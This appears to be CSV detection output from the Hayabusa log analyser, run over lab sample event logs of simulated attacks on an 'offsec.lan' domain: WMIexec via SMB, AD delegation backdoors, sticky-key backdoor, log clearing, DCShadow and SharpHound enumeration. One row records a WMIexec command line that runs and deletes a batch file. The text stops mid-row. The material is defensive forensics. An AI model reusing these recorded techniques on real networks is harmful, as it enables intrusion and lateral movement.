10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.381 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.385 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.385 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.388 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.391 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.392 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.392 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.394 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:37.399 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.406 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.409 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.418 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.420 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.450 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.452 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.456 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.458 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.462 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.463 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.463 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.464 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.479 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:38.481 +09:00,srvdefender01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619425227.894209 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 18:07:00.330 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.330 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.331 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.332 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:07:00.332 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, Kerberos only).evtx" +2021-04-26 18:08:00.382 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.383 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:08:00.384 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4742,5136-Enable Trust this computer for delegation (to specified service, any protocol).evtx" +2021-04-26 18:16:14.118 +09:00,srvdefender01.offsec.lan,12,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.119 +09:00,srvdefender01.offsec.lan,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 18:16:14.119 +09:00,srvdefender01.offsec.lan,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID12,13-Stickey key registry update.evtx" +2021-04-26 19:04:23.189 +09:00,srvdefender01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID4656-Failed sethc replacement by CMD.evtx +2021-04-27 00:03:05.992 +09:00,fs02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\cmd.exe /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMIexec process execution.evtx +2021-04-27 00:16:03.978 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47450 : LogonID: 0x5429550,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 00:16:03.992 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 34544 : LogonID: 0x542957e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 00:16:04.284 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 45246 : LogonID: 0x542a072,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.003-Distributed Component Object Model (DCOM)/ID4688,4674-DCOMexec process spawned.evtx" +2021-04-27 20:04:13.291 +09:00,rootdc1.offsec.lan,5136,high,Possible DC Shadow,,rules/sigma/builtin/security/win_possible_dc_shadow.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4742,4935,4662,4661,5137-DCshadow attack (GLOBAL) failed.evtx" +2021-04-27 20:04:53.341 +09:00,rootdc1.offsec.lan,5136,high,Possible DC Shadow,,rules/sigma/builtin/security/win_possible_dc_shadow.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4742,4935,4662,4661,5137-DCshadow attack (GLOBAL) failed.evtx" +2021-04-27 23:54:29.317 +09:00,webiis01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:31.493 +09:00,pki01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:49.355 +09:00,webiis01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:54:51.591 +09:00,pki01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:28.669 +09:00,mssql01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:34.819 +09:00,atanids01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:45.042 +09:00,exchange01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:45.392 +09:00,adfs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:46.789 +09:00,fs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:47.449 +09:00,prtg-mon.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:48.746 +09:00,mssql01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:49.695 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:50.629 +09:00,atacore01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-27 23:59:54.886 +09:00,atanids01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:05.147 +09:00,exchange01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:05.466 +09:00,adfs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:06.878 +09:00,fs01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:07.557 +09:00,prtg-mon.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:09.605 +09:00,srvdefender01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:00:10.730 +09:00,atacore01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.723 +09:00,fs02.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.762 +09:00,dhcp01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.790 +09:00,wsus01.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:17.920 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: null : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-5145-Bloodhound-SharpHound enumeration via SMB.evtx +2021-04-28 00:03:18.001 +09:00,win10-02.offsec.lan,5140,informational,Network Share 